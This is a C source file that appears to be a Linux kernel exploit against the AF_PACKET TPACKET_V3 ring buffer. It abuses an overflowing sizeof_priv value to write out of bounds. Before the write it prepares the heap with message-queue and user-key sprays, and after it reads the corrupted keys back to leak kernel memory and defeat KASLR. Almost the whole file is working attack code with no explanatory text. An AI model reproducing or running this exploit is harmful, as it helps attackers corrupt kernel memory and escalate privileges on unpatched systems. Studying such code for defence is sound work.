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|
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <linux/xfrm.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <time.h>
#include <assert.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <keyutils.h>
#define PAGESIZE 4096
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \\n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \\n", ascii);
}
}
}
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
int oob_setup_kaslr(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x1000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x1000, 0x200, 2, sizeof_priv, 100);
}
void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
void pagealloc_pad_kaslr(int count) {
packet_socket_setup(0x1000, 0x200, count, 0, 100);
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
struct msg {
long mtype;
char data[0];
};
int msg_init() {
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msqid < 0) {
perror("msgget");
}
return msqid;
}
void msg_alloc(int msqid, size_t size) {
struct msg *m = malloc(sizeof(struct msg) + size);
m->mtype = 1;
memset(m->data, 0x41, size);
if (msgsnd(msqid, (void *)m, sizeof(struct msg)+size, 0) != 0) {
perror("msgsnd");
}
free(m);
}
void kmalloc_msg(int num) {
int msqid;
msqid = msg_init();
for (int i=0; i<num; i++) {
if (i%50 == 0)
msqid = msg_init();
msg_alloc(msqid, 200);
}
}
key_serial_t spray_key(size_t size, int i) {
if (size <= 0x18) {
printf("size <= 0x18\\n");
exit(-1);
}
char type[5] = "user";
char* description = (char*)malloc(sizeof(char)*10);
char* payload = (char*)malloc(size-0x18);
memset(payload, 'B', size-0x18);
key_serial_t key;
sprintf(description, "key%d", i);
key = add_key(type, description, payload, size-0x18, KEY_SPEC_USER_KEYRING);
if (key == -1) {
perror("add_key");
exit(0);
}
free(description);
free(payload);
return key;
}
void* leak_key(key_serial_t key, size_t size) {
void *data = malloc(size);
memset(data, 0, size);
int xxx = keyctl_read(key, data, size);
if (xxx == -1) {
perror("keyctl_read");
exit(-1);
}
if (xxx == 0x4444) {
free(data);
data = malloc(0x4444);
keyctl_read(key, data, 0x4444);
}
printf("read key: %d\\n", xxx);
return data;
}
key_serial_t keys[64];
void oob_user_key() {
int s = oob_setup_kaslr(0x2000+0x2e8);
for (int i=0; i<64; i++) {
keys[i] = spray_key(256, i);
}
char buffer[0x300];
memset(buffer+0x18-2+0x10, 'D', 0x110);
buffer[0x26] = 0x0;
buffer[0x27] = 0x10;
oob_write(buffer, 0x40);
int target = 0;
for (int i=0; i<64; i++) {
printf("%d ", i);
char *data = leak_key(keys[i], 0x1000);
for (int j=0; j<0x500-0x10; j++){
if (!memcmp(data+j+0x10, "DDBBBBBBBBBBBBBB", 16)) {
DumpHex(data, 0x500);
target = i;
printf("We find it!\\n");
goto found;
}
}
printf("%d\\n", i);
DumpHex(data, 100);
free(data);
}
printf("Not found\\n");
goto done;
found:
DumpHex(leak_key(keys[target], 0x2000), 0x2000);
done:
return;
}
int main (int argc, char **argv)
{
printf("[.] starting\\n");
setup_sandbox();
printf("[.] namespace sandbox set up\\n");
printf("[.] padding heap\\n");
kmalloc_msg(0x800);
pagealloc_pad_kaslr(0x500);
oob_user_key();
while (1)
{
sleep(1000);
}
return 1;
}
|
